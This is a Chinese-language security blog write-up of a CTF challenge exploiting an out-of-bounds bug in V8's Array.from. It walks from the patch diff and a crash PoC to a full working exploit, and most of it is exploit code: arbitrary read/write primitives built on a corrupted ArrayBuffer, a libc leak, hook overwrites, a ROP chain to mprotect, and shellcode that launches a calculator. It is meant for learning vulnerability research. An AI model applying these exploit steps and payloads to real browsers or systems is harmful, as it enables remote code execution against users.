本文首发于安全客自媒体,最终解释权归安全客所有。

如何从一个commit获取diff和poc,最后写出一个v8的exploit。是这次需要解决的问题。

准备工作

roll a d8

题目链接

进入题目给出的网站,能够找到漏洞修复的信息。

  • 上个版本的hash值,以及diff文件
  • 用于验证崩溃的poc文件

我们能够通过hash值来回溯到之前到版本。使用poc来验证崩溃,不过该漏洞仅有DEBUG版会对该poc发生崩溃。同时我们也可以查看diff,根据补丁分析漏洞。

4MjFie

v8环境搭建

1
2
3
4
5
6
7
8
#回溯版本到包含漏洞版本
$ git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
$ gclient sync
#分别编译Debug和Release版本
$ tools/dev/v8gen.py x64.debug
$ ninja -C out.gn/x64.debug d8
$ tools/dev/v8gen.py x64.release
$ ninja -C out.gn/x64.release d8

diff

查看和parent版本的diff文件

WK1vPc

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
let oobArray = [];								//创建了一个oobArray数组对象
let maxSize = 1028 * 8; //8244
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( //实现了一个迭代器
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0; //在迭代器中将oobArray.length置零
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
//%DebugPrint(oobArray);
//%SystemBreak();
oobArray[oobArray.length - 1] = 0x41414141; //触发crash

poc分析需要一定的JS基础,我已经把自己整理的一些基础写在文章后面了,和我一样0基础的读者可以先去看一下

length置零

JSArray数组置零是poc的关键部分,让我们看一下JSArray的length置零的效果。

1
2
3
4
var a=['migraine','sudo'];
%DebugPrint(a);
a.length=0;
%DebugPrint(a);

置零之前

JSArray.length=2,用于存储数据的FixedArray长度也为2。

1
2
3
4
5
6
7
8
9
10
11
DebugPrint: 0x37fff628d4c1: [JSArray]
- map: 0x3d9424202729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x111759e85539 <JSArray[0]>
- elements: 0x37fff628d471 <FixedArray[2]> [PACKED_ELEMENTS (COW)]
- length: 2 <--JSArray.length=2
- properties: 0x3ab30b882251 <FixedArray[0]> {
#length: 0x3ab30b8cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x37fff628d471 <FixedArray[2]> { <--FixedArray.length=2
0: 0x111759ea7021 <String[8]: migraine>
1: 0x111759ea7041 <String[4]: sudo>

置零之后

JSArray的长度被置0,而FixedArray的空间也被释放。

1
2
3
4
5
6
7
8
DebugPrint: 0x37fff628d4c1: [JSArray]
- map: 0x3d9424202729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x111759e85539 <JSArray[0]>
- elements: 0x3ab30b882251 <FixedArray[0]> [PACKED_ELEMENTS] <--FixedArray Released...
- length: 0 <--JSArray.length=0
- properties: 0x3ab30b882251 <FixedArray[0]> {
#length: 0x3ab30b8cff89 <AccessorInfo> (const accessor descriptor)
}

需要关注的点就是JSArray的length和FixedArray的length在正常操作下是保持同步的,而接下来的poc将打破这种同步关系

触发DCHECK而造成Crash

FJBCKY

WxcdyC

DECHECK检查index和this->length()的时候出现了一些问题,检查语句来自fixed-array-inl.h:96。

FixedArray::set中的this对象与oobArray的elements地址相符。但是这里的elememts指向的却是一个空数组。

我们注意到

  • JSArray结构中的length=8224
  • JSArray中的Elements和Property结构(分别指向FixedArray),却是一个空数组(length=0)

cWbkxi

执行FixedArray::set方法,就是向对象的某个index位置写入value,在poc对应的调用语句就是*oobArray[oobArray.length - 1] = 0x41414141;*。

FixedArray对象的this->length()=0(因为this此时是指向Elements这个空数组),而index为8223(因为length=8224)。

产生一个越界写。在release版本下是没有DEBUG CHECK的,所以能够造成任意地址写。同理,使用读取函数也能造成越界读。

越界读取crash

PP1g0G

Patch分析

让我们来分析diff,找出导致JSArray的length值和实际存储空间不同的原因。根据上文中对poc的调试,应该是某个判读导致对JSArray的length值先被置零,而后却被改回原来的数据,产生一个越界读取。

源代码中代码包含很多CodeStubAssembler的内容。

CodeStubAssembler:为v8提供的高效的低级功能,非常接近汇编语言,同时保持platform-independent和可读性。定义在code-stub-assembler.h中。

这部分参考大神的总结

1
2
3
4
5
6
7
8
F_BUILTIN:创建一个函数
Label:声明将要用到的标签名,这些标签名将作为跳转的目标
BIND:绑定标签(相当于将一个代码块和一个标签名绑定,跳转时就可以使用标签名跳转到相应代码块)
Branch:条件跳转指令
VARIABLE:定义一些变量
Goto:跳转
CAST:类型转换
CALLJS:调用给定的JS函数

re7Sag

根据patch,推断GotoIf的判断出现了问题。Path将SmiLessThan改成了SmiNotEqual,只要两者不相同就会运行&runtime。所以我们判断,漏洞产生于当length_smi大于old_length的时候,并且没有发生Goto跳转的情况。

1
2
3
4
5
6
7
8
9
   TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
...略
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi); //将length_smi赋值给JSArray的Length

根据注释可以很容易地推断。

  • 运行&runtime会根据length_smi初始化property数组,也就是根据length_smi大小分配正确空间

  • 运行 StoreObjectFieldNoWriteBarrier会将JSArray的length修改为length_smi

    如果length_smi小于old_length就会调用&runtime实现内存缩减,而如果length_smi等于oldlength就会调用StoreObjectFieldNoWriteBarrier会将JSArray的length修改为length_smi

    但如果length_smi>old_length,那么就会导致JSArray.length比old_length实际存储,但是内存并没有被修改(对象FixedArray中的length不变),要大的情况,将会造成一个数组越界漏洞。

当然,漏洞产生的原因已经清楚了,但是我们对漏洞还存在疑问–为什么length_smi会大于old_length,以及这两个参数的本质所以需要回溯到上层代码。调用该函数的代码并不多,而我们poc中调用了Array.from,所以比较好找,不过这段代码是比较长的,需要耐心看和分析。

TeQk5L

2inbee

tMrZM5

这部分代码是Array.From的*C++*实现(要看js实现可以看polyfill),array.from的功能在下文中的JS基础中有介绍。在结尾调用了GenerateSetLength函数。

ArrayFrom实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
TNode<Int32T> argc =
UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount)); //获取输入参数

CodeStubArguments args(this, ChangeInt32ToIntPtr(argc)); //将参数转化为指针

TNode<Object> map_function = args.GetOptionalArgumentValue(1);

// If map_function is not undefined, then ensure it's callable else throw.
//判断输入的map_function是否可以执行//实际上这部分和我们的poc关系不大
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error); //判断是否Undefined
GotoIf(TaggedIsSmi(map_function), &error); //判断是否是Smi
Branch(IsCallable(map_function), &no_error, &error); //判断是否Callable

BIND(&error); //如果跳转到error,会运行这里
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);

BIND(&no_error); //如果跳转no error,就会从这里开始运行
}

Label iterable(this), not_iterable(this), finished(this), if_exception(this);//设置标签

TNode<Object> this_arg = args.GetOptionalArgumentValue(2); //获取Object的参数
TNode<Object> items = args.GetOptionalArgumentValue(0); //获取我们的ArrayLike
// The spec doesn't require ToObject to be called directly on the iterable
// branch, but it's part of GetMethod that is in the spec.
TNode<JSReceiver> array_like = ToObject(context, items); //将ArrayLike转化为对象

TVARIABLE(Object, array);
TVARIABLE(Number, length); //定义Number变量,值为length

// Determine whether items[Symbol.iterator] is defined:
//确认items的迭代器是否被定义(Array类型包含Symbol.iteractor迭代器)
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like); //从array_like中获取迭代器
Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);//分支,可迭代和不可迭代

//可迭代的情况运行此处代码
BIND(&iterable);
{
TVARIABLE(Number, index, SmiConstant(0));
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);

// Check that the method is callable.
//检测迭代器是否可用
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
Goto(&next);//可用则跳转到next

BIND(&get_method_not_callable);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);

BIND(&next);
}

// Construct the output array with empty length.
array = ConstructArrayLike(context, args.GetReceiver());

// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);

TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);

Goto(&loop);

//进入迭代循环,循环到迭代器运行结束(这个时候结合我们poc里的迭代器,理解漏洞)
BIND(&loop);
{
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map))); //获取迭代器返回的值

// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);

CSA_ASSERT(this, IsCallable(map_function));
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());
GotoIfException(v, &on_exception, &var_exception);
value = CAST(v);
Goto(&next);
BIND(&next);
}

// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);

index = NumberInc(index.value()); //获取index的值

// The spec requires that we throw an exception if index reaches 2^53-1,
// but an empty loop would take >100 days to do this many iterations. To
// actually run for that long would require an iterator that never set
// done to true and a target array which somehow never ran out of memory,
// e.g. a proxy that discarded the values. Ignoring this case just means
// we would repeatedly call CreateDataProperty with index = 2^53.
CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
NumberConstant(kMaxSafeInteger), ok,
not_ok);
});
Goto(&loop);
}

BIND(&loop_done);
{
length = index; //将index赋值给length(index在poc中应该为8224)
Goto(&finished); //跳转到finished代码
}

BIND(&on_exception);
{
// Close the iterator, rethrowing either the passed exception or
// exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}

// Since there's no iterator, items cannot be a Fast JS Array.
BIND(&not_iterable);
{
CSA_ASSERT(this, Word32BinaryNot(IsFastJSArray(array_like, context)));

// Treat array_like as an array and try to get its length.
length = ToLength_Inline(
context, GetProperty(context, array_like, factory()->length_string()));

// Construct an array using the receiver as constructor with the same length
// as the input array.
array = ConstructArrayLike(context, args.GetReceiver(), length.value());

TVARIABLE(Number, index, SmiConstant(0));

GotoIf(SmiEqual(length.value(), SmiConstant(0)), &finished);

// Loop from 0 to length-1.
{
Label loop(this, &index);
Goto(&loop);
BIND(&loop);
TVARIABLE(Object, value);

value = GetProperty(context, array_like, index.value());

// If a map_function is supplied then call it (using this_arg as
// receiver), on the value retrieved from the array.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);

CSA_ASSERT(this, IsCallable(map_function));
value = CAST(CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value()));
Goto(&next);
BIND(&next);
}

// Store the result in the output object.
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
index = NumberInc(index.value());
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
length.value(), &loop, &finished);
}
}

BIND(&finished); //finished入口

// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value()); //调用我们的漏洞函数,将length输入
args.PopAndReturn(array.value());
}

总结ArrayFrom的大概流程,为了方便省略了call部分,我们只需要知道我们对数组的操作都做用于oobArray即可。

baKf21

这时候再分析poc就很清楚,关键点是每一次迭代都会调用oobArray.length = 0;,所以导致输入数组的array.length(数组长度)<length(迭代次数)。然后调用StoreObjectFieldNoWriteBarrier产生越界。

1
2
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi); //将length_smi赋值给JSArray的Length

此处便是将length_smi(迭代次数),传递给了JSArray的length,上层函数中JSArray就是我们的oobArray对象,length_smi则是oobArray内部的FixedArray(Element)迭代时累加的产物。

漏洞产生的原因主要是因为开发者没有考虑到,传入的ArrayLike也可以是真的数组(oobArray),而真实的数组的length是可以改变的。从而使得获取到的Array的对象(因为被我们置零了)实际长度是小于迭代次数。即产生了oobArray.length要大于Elements的数组空间的现象。

Patch方式我们也都看到了,只需要将大于的情况也调用*&runtime*创建空间即可。

漏洞利用

###内存模型

首先需要理解V8的一部分内存模型,这部分可以参考我在V8基础里的介绍。

关键字:JSFunction和ArrayBuffer

实现OOB r&w

从越界读写到oob read&write,需要借助ArrayBuffer对象。通过oobArray的数组越界,覆盖ArrayBuffer的Backing Store,实现任意地址读写。

我们需要在GC堆中布置一定数量的ArrayBuffer结构,希望至少其中某个能oobArray的越界写入范围。

参考图来自sakura师傅翻译的v8exploit

vPeo1k

类型转换

此处需要了解TypeArray&ArrayBuffer

读写操作时,需要进行类型转换。Float - Uint

我们的oobArray=[1.1],读写都是Float类型的,所以需要做个类型转换。而且64位下只有Uint32Array,只能读取32bit的数据。我们利用Float64Array进行读取,然后转化为两个Uint32Array。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*l类型转换类*/
class ChangeType{
constructor(){ //构造函数
this.buf=new ArrayBuffer(8);
this.f64=new Float64Array(this.buf);
this.u32=new Uint32Array(this.buf);
}
f2i(val){ //将两个Uint32转化为一个Float64
this.f64[0]=val;
return this.u32[1]*0x100000000+this.u32[0];
}
i2f(val){ //将一个Float64转化为两个Uint32
this.u32[0]=parseInt(val%0x100000000);
this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
return this.f64[0];
}

}
function hex(x) //打印16进制
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var ct=new ChangeType();

寻找ArrayBuffer对象

我们在迭代器中布置100个ArrayBuffer对象,将对象存入进一个arrays。经过GC回收内存后,这些对象会被GC移动到原oobArray内存(已被释放),就可以通过oobArray对ArrayBuffer进行修改。

在找到可控的ArrayBuffer对象之后,我们可以通过修改ArrayBuffer的length值,然后重新遍历存放ArrayBuffer的数组,确定具体可控对象,然后实现oob read&write。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
let oobArray = [1.1];  //让oobArray为float类型 方便之后的读取写入
let arrays=[];
let maxSize = 1028 * 8; //8224
var a;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length=1; // lenght!=0 避免GC彻底回收,Element会被指向一个空指针,不在原来的地址范围。
/*布置ArrayBuffer对象*/
for(let i=0;i<100;i++)
{
//let array=new ArrayBuffer(0xbeef);
et array=new ArrayBuffer(0x512); //创建length=0xbeef的ArrayBuffer
arrays.push(array); //将BufferArray放入数组(疑问:数组会对GC的回收有什么影响?)
//%DebugPrint(array); //Debug用
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });

/*寻找和确定ArrayBuffer对象*/
let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC
/*找到oobArry可控的ArrayBuffer*/
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
//if(val===0xbeef00000000)
if(val===0x51200000000)
{
backing_store=i+1;
kbitfield=backing_store+1;
console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0xbeaf00000000); //修改length值
break;
}
}
/*确定我们可控ArrayBuffer的ID*/
for(let i=0;i<100;i++)
{
//console.log(arrays[i].bytelength);
if(arrays[i].byteLength===0xbeaf){
console.log("[*]find target ArrayBuffer number ["+i+"]");
buf_index=i;
}
}

一个困扰我很长时间的小问题

在release下使用%DebugPrint(array)时,似乎会发生一些奇怪的事情。这是打印出来的效果。

jnG9k4

所有的ArrayBuffer的地址都在一起,查看里面的内存,他们的确拥有一个ArrayBuffer的完整结构,这些所谓的ArrayBuffer的地址都比较高(不管笔者以什么方式创建ArrayBuffer),以至于永远在我们数组越界的范围之外。这样就会导致无法利用。

刚开始笔者猜测是否是因为oobArray的CHUNK没有被GC回收走。

cHWxpF

查看内存,刚开始并没有发生什么异样,符合ArrayBuffer的结构。但是仔细看过之后发现ArrayBuffer本该存折Map指针的地方和Map的值并不匹配。不过周围其他值似乎都很正常(length,backing store之类的)我们对这个指针进行解引用。

XVs8FJ

实际上这个经过第二次解引用的指针才是正确的内存,此时的MAP部分已经和%DebugPrint的结构相一致,其他部分也都是完整的。而我们为了找到ArrayBuffer,进行了两次解引用。

为什么要多一次解引用呢?

应该是与自动回收机制(GC)有关。笔者猜测,可能是之前的内存被释放(oobArray),然后GC将刚才ArrayBuffer从原来的地方Copy走了,统一移动到这块块刚被释放到内存中。这也解释了为什么ArrayBuffer的地址一开始都在oobArray读取的范围外,因为当时GC还没将这块内存释放。(简单来说就是GC把ArrayBuffer带走了,在原地址处留了一个指针,然而我一直不知道那是指针。。浪费了我超久的时间)具体原因还需要看研究一下GC的实现方式,未来再填坑。

实验过程中还发现,如果没有使用arrays数组将ArrayBuffer写入,ArrayBuffer的地址并不会被GC改变。这部分目前还搞不明白,只能看大神们写的exploit。


实现任意地址读写

这部分和之前的oobArray读写差不多,直接上代码。

注意点:需要同时修改Backing Store和kBitField Offset,这两个相邻变量的值是相同的,经过调试发现同时修改才有效。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class ArbitraryRW
{
read(addr){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,2);
return ct.f2i(this.f64[0]);
}
write(addr,value){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,2);
this.f64[0]=ct.i2f(value);
}
leak(){ //泄露backing store指针
return ct.f2i(oobArray[backing_store]);
}
}
var wr=new ArbitraryRW();

how2GetShell

大概把下面三种方式都实验一下

  • 泄露libc(很CTF)
  • Wasm
  • JIT(因为没有R权限,所以只是尝试一下找到JIT)

泄露libc

泄露堆中包含指向unosort bin的指针,Hpasserby师傅认为在fd或者bk的位置上,0x7f开头的值一定指向&main_arena+88的地址,这样只需要减去偏移地址就能获得libc的地址。unsortbin泄露地址

backingstore一开始的指针指向的就是堆内存,我们可以通过对堆内存进行搜索,来泄露unsoirtbin的指针。

实际测试中循环读数据太多次ArrayBuffer对象的地址会跑飞(具体原因未知,可能又被GC挪走了),所以循环次数要控制,不能全部地址都遍历。

1
2
3
4
5
6
7
8
9
10
//刚开始的可控ArrayBuffer地址
gdb-peda$ x/20xg 0x24903d38e5a9-1
0x24903d38e5a8: 0x00003be96c383fe9 0x000033bd5ef82251
0x24903d38e5b8: 0x000033bd5ef82251 0x0000beaf00000000
0x24903d38e5c8: 0x00005555561b9840 0x00005555561b9840
//反复read之后的ArrayBuffer地址
gdb-peda$ x/20xg 0x35c638b8e7a9-1
0x35c638b8e7a8: 0x000024903d38e5a8 0x000033bd5ef82251
0x35c638b8e7b8: 0x000033bd5ef82251 0x0000beaf00000000
0x35c638b8e7c8: 0x00005555561b9840 0x00005555561b9840

我使用的是Hpasserby师傅提出方法,直接暴力搜索堆,通过size/presize来匹配chunk,找到fd/bk是地址为0x7f开头为止。然后减去偏移即可。

用这种方式,比较容易出问题的部分在于ArrayBuffer的大小,太大和太小都会导致heap中不存在unsortbin(错误案例0xbeaf和0x20),毕竟v8的HEAP似乎没有那么被“中用”。所以我这里要修改前面的代码,改用0x512作为ArrayBuffer的长度。筛选时注意条件(见注释)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/*泄露libc地址*/

let heap=wr.leak()-0x10;
chunk=heap; //以backing store指针-0x10作为初始化chunk
console.log("[*]leak backing store address="+hex(heap));

let size=wr.read(chunk+8);
size=parseInt(size/8)*8;
let finded=0;
//循环以chunk为单位遍历
for(let i=0;i<0x3000;i++)
{
//let leak=wr.read(heap);
prev_size=wr.read(chunk);
size=wr.read(chunk+8);

//筛选条件:
//size!==0,必须为chunk结构
//size%2===0,上一个chunk必须被free(prev inuse=0)
//prev_size <=0x3f0
if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0)
{
let tmp_ptr=chunk-prev_size;
//%SystemBreak()
fd=wr.read(tmp_ptr+0x10);
bk=wr.read(tmp_ptr+0x18);
//console.log(hex(chunk)+"->"+hex(prev_size));
if(parseInt(fd/0x10000000000)===0x7f)
{
console.log("[*]leak unsort bin(fd)");
finded=fd;
break;
}
if(parseInt(bk/0x10000000000)===0x7f)
{
console.log("[*]leak unsort bin(bk)");
console.log(hex(bk));
break;
}
}
else if(size<0x20){break;}

size=parseInt(size/8)*8; //size要抹掉最后的3bit
chunk+=size;
}
if(finded!==0)
{
libc_base=finded-0x3c3bb8;
console.log("libc_base="+hex(libc_base));
}
else{
console.log("Error when leak libc base!Try Again.");
}

如果是pwn题,修改malloc_hook为one_gadget就很简单了,可以弹个本地shell(并没有实际作用。。)。这可是浏览器题,至少也要执行一下shellcode,弹个计算器吧。

1
2
3
4
/*malloc_hook*/
malloc_hook=0x3C3B10+libc_base;
one_gadget=0xf0897+libc_base;
wr.write(malloc_hook,one_gadget);

发现一种用system弹calculator的方式,将free_hook替换为system,这样在释放binsh的时候就会执行system(“/snap/bin/gnome-calculator)。Mark一下,不过这个也是pwn类型的利用。

1
2
3
4
5
6
7
wr.write(libc_base + 0x3C57A8, libc_base + 0x45380); // free hook

const binsh = new Uint32Array(new ArrayBuffer(0x30));
cmd = [1634628399, 1768042352, 1852256110, 761621871, 1668047203, 1952541813, 29295];
// "/snap/bin/gnome-calculator"
for (var i = 0; i < cmd.length; i++)
binsh[i] = cmd[i];

一开始想看看能不能用Heap Spary+ROP来执行shellcode,v8的HeapSpray我一直找不到合适的喷射值,就暂时放一放。还是参考大师傅们的利用手法,在栈中写值来控制EIP。

布置shellcode和ROP

首先需要为ArbitraryRW增加一个leak功能,相当于实现了一个%DebugPrint。这样就能泄漏shellcode的地址。需要添加的代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
let oobArray = [1.1];  //float
let arrays=[];
+let objs=[]; //for leak
let maxSize = 1028 * 8;
//8224
var a;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length=1; // !=0 void from be huishou by GC,Elements will point to a null pointer
for(let i=0;i<100;i++)
{
let array=new ArrayBuffer(0x512);
+ let obj={'a':0x1234,'b':0x5678};
arrays.push(array);
+ objs.push(obj);
//%DebugPrint(array);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });

+let obj_index;
+let obj_offset;
+//find Objects

+for(let i=0;i<maxSize;i++)
+{
+ let val=ct.f2i(oobArray[i]);
+ if(val===0x123400000000)
+ {
+ obj_offset=i;
+ console.log("[*]find target objecets in oobArray number ["+i+"]");
+ oobArray[i]=ct.i2f(0x123500000000);
+ break;
+ }
+}

+for(let i=0;i<100;i++)
+{
+ if(objs[i].a===0x1235){
+ console.log("[*]find target objs number ["+i+"]");
+ obj_index=i;
+ break;
+ }
+}

制造一个可控对象obj,在通过oobArray泄露obj的属性a。要leak一个对象的地址,只需要将对象绑定到obj的a属性,然后oobArray泄露地址即可。

1
2
3
4
5
6
7
8
class ArbitraryRW
{
+ leak_obj(obj){
+ objs[obj_index].a = obj;
+ return ct.f2i(oobArray[obj_offset]) - 1;
+ }
...
}

然后我们就可以布置Shellcode和ROP链,通过ROP来调用mprotect将shellcode所在地址空间的属性改为RWX。至于如何控制程序流,就这个技巧之前也没接触过,就是向栈中写retn,希望在程序退栈的时候能踩到上面,然后一路retn到我们布置在高位的rop链。一开始想多覆盖一些retn,不过程序直接崩了,覆盖少量的反而成功率更高。

Stack的地址,我们可以通过libc中的全局变量environ来获得stack的一个高位指针。

1
2
3
$ readelf -r ~/libc.so.6 |grep environ
0000003c2df8 011b00000006 R_X86_64_GLOB_DAT 00000000003c5f98 _environ@@GLIBC_2.2.5 + 0
0000003c2eb8 051100000006 R_X86_64_GLOB_DAT 00000000003c5f98 __environ@@GLIBC_2.2.5 + 0

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//PUSH SHELLCODE
let shellcode=new Uint8Array(4096);
let shellcode_addr=wr.leak_obj(shellcode);

ptr=wr.read(shellcode_addr+0x18)-1; //获取shellcode地址
shellcode_addr=wr.read(ptr+0x20); //TypeArray --> ArrayBuffer
console.log(hex(shellcode_addr));
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05]; //弹出一个计算器
for(let i=0;i<sc.length;i++){
shellcode[i]=sc[i];
}

//ROP
let pop_rdi=0x21102+libc_base;
let pop_rsi=0x202e8+libc_base;
let pop_rdx=0x01b92+libc_base;
let retn=0xe9bbb+libc_base;
let mprotect=0x100eb0+libc_base;
let rop=[
pop_rdi,
parseInt(shellcode_addr/0x1000)*0x1000,
pop_rsi,
1024,
pop_rdx,
7,
mprotect,
shellcode_addr
]

//GET STACK_ADDR
let environ_addr=libc_base+0x3c5f98;
let stack_addr=wr.read(environ_addr);
console.log("[*]stack address "+hex(stack_addr));

let rop_addr=stack_addr-200*rop.length;
console.log("[*]rop address "+hex(rop_addr))
for(let i=0;i<rop.length;i++)
{
wr.write(rop_addr+i*8,rop[i]);
}
for(let i=1;i<100;i++) //过多的覆盖反而会导致段错误,10~100都可以
{
wr.write(rop_addr-i*8,retn);
}

完整的利用见附录。

5ufCKv

写利用的时候碰到了很多看似玄学的东西,困扰了很久,为了彻底搞懂花费了不少时间。虽然最很多自己想出的解决方案也都没什么营养,但最终把问题搞明白也是一个非常煎熬也是非常有意思的过程。比如在泄漏libc地址的时候,成功泄漏了main_arena+152的地址,但是后来去内存里了一看,fd的位置的值是0x0。查了好几遍都没找到,实在是很玄学,直到我在泄露前下了一个断点,发现泄露当时这个fd是存在的,只不过后来又被malloc掉了。毕竟我们利用js泄露地址时,并没有控制EIP,所以背后的程序还是在跑,堆空间也总是在变化。

Wasm执行shellcode

Wasm是一种可以让JS执行机器码的技术,我们可以借助Wasm来写入自己的shellcode。

要生成Wasm,最方便的方案是直接用大神写好的生成网站,可以将我们的C语言生成为调用Wasm的JS代码。

https://wasdk.github.io/WasmFiddle/

kWYsBe

1
2
3
4
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
console.log(wasmInstance.exports.main());

将网站底部生成的wasmCode和右上角的JS代码结合,就能运行C编译出的字节码。当然这个C并不能进行系统调用,所以直接用C写shellcode自然是不行的。不过我们可以通过自己的任意地址写,将自己的shellcode写入Wasm的RWX内存区域(但是并不是Wasm的AST,具体的我也不是特别了解)。

参考

从一道CTF题零基础学V8漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
